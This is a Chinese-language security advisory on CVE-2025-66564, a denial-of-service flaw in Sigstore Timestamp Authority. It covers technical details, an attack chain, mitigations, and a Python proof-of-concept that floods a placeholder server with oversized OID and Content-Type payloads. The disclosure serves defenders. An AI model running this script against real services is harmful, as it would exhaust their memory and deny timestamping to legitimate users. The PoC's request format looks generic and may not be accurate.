IPBUF安全漏洞报告
English
CVE-2025-66564 CVSS 7.5 高危

CVE-2025-66564 Sigstore Timestamp Authority O(n)内存分配拒绝服务漏洞

披露日期: 2025-12-04

漏洞信息

漏洞编号
CVE-2025-66564
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Sigstore Timestamp Authority

相关标签

拒绝服务内存耗尽SigstoreTimestamp AuthorityO(n)复杂度字符串分割输入验证RFC 3161时间戳服务供应链安全

漏洞概述

CVE-2025-66564是影响Sigstore Timestamp Authority(时间戳授权服务)的拒绝服务漏洞。Sigstore Timestamp Authority是一个用于颁发RFC 3161时间戳的服务,在供应链安全和软件签名验证场景中具有重要应用。漏洞存在于该服务的两个核心API函数中:api.ParseJSONRequest和api.getContentType。这两个函数在处理用户输入时,会对不可信的OID(对象标识符)和Content-Type头进行基于句点(period)的字符串分割操作。攻击者可以通过发送包含大量句点字符的超长OID载荷,或者构造格式异常的Content-Type头,使服务器在解析这些数据时执行O(n)复杂度的内存分配操作。当处理大量恶意请求或超大载荷时,会导致服务器内存资源被迅速耗尽,最终造成服务不可用。该漏洞无需任何认证即可被利用,攻击成本低,危害性大,建议相关用户尽快升级到修复版本。

技术细节

该漏洞的核心问题在于字符串处理函数的算法复杂度。在api.ParseJSONRequest函数中,代码使用strings.Split对用户提供的OID进行分割,该OID是来自请求体的不可信数据。同样,api.getContentType函数对HTTP Content-Type头进行分割处理。当攻击者发送包含大量句点字符(如'aaa.aaa.aaa...')的超长OID字符串时,每次split操作都会创建新的字符串切片并分配内存,导致O(n)的时间和空间复杂度。由于OID长度没有限制,攻击者可以构造任意长度的恶意载荷。在实际攻击中,攻击者发送包含数百甚至数千个句点的OID字符串,服务器在解析每个请求时都会执行多次内存分配操作。当并发请求或单个请求的载荷足够大时,会导致堆内存被快速消耗,引发OutOfMemory错误或触发操作系统的OOM Killer机制,最终导致服务进程崩溃或系统变得极不稳定。修复方案(v2.0.3)需要对这些输入参数进行长度限制或优化分割算法的内存使用模式。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标服务器运行的是Sigstore Timestamp Authority服务,并确认其版本低于2.0.3
STEP 2
步骤2: 构造恶意载荷
攻击者构造包含大量句点字符的超长OID字符串(如10000个句点分隔的'aaa'),或构造格式异常的Content-Type头
STEP 3
步骤3: 发送恶意请求
攻击者通过HTTP POST请求向/api/v1/timestamp或类似端点发送包含恶意OID的JSON载荷,或使用恶意Content-Type头
STEP 4
步骤4: 触发O(n)内存分配
服务器端api.ParseJSONRequest函数执行strings.Split操作,对超长OID进行分割,每次分割都分配新内存,导致O(n)内存消耗
STEP 5
步骤5: 资源耗尽
随着恶意请求的持续发送,服务器堆内存被快速消耗,可能触发OOM Killer或导致服务进程崩溃
STEP 6
步骤6: 拒绝服务
目标服务变得不可用,无法响应正常用户的合法时间戳请求

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import time TARGET_URL = "http://target-server:8080/api/v1/timestamp" def create_malicious_oid(length): # Generate OID with many periods causing O(n) memory allocation return ".".join(["a"] * length) def exploit_dos(): # Create payload with excessively long OID containing many periods malicious_oid = create_malicious_oid(10000) payload = { "oid": malicious_oid, "timestamp": "2025-01-01T00:00:00Z" } print(f"[*] Sending malicious request with OID length: {len(malicious_oid)}") try: response = requests.post(TARGET_URL, json=payload, timeout=10) print(f"[+] Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") if __name__ == "__main__": # Send multiple requests to amplify DoS effect for i in range(10): print(f"[*] Request {i+1}") exploit_dos() time.sleep(0.1) # Alternative: Malformed Content-Type header PoC def exploit_content_type(): headers = { "Content-Type": "." * 10000 + "application/json" } payload = {"test": "data"} try: response = requests.post(TARGET_URL, json=payload, headers=headers, timeout=10) print(f"[*] Content-Type DoS - Response: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}")

影响范围

Sigstore Timestamp Authority < 2.0.3

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 在反向代理层(如Nginx)配置请求体大小限制,限制JSON载荷最大为合理值(如10KB);2) 实施WAF规则,对包含超过100个句点字符的请求参数进行拦截;3) 启用请求速率限制,限制单IP的请求频率;4) 监控服务器内存使用情况,设置告警阈值以便及时发现异常。需要注意的是,这些措施仅为临时缓解,不能完全替代版本升级,建议在业务低峰期尽快完成升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表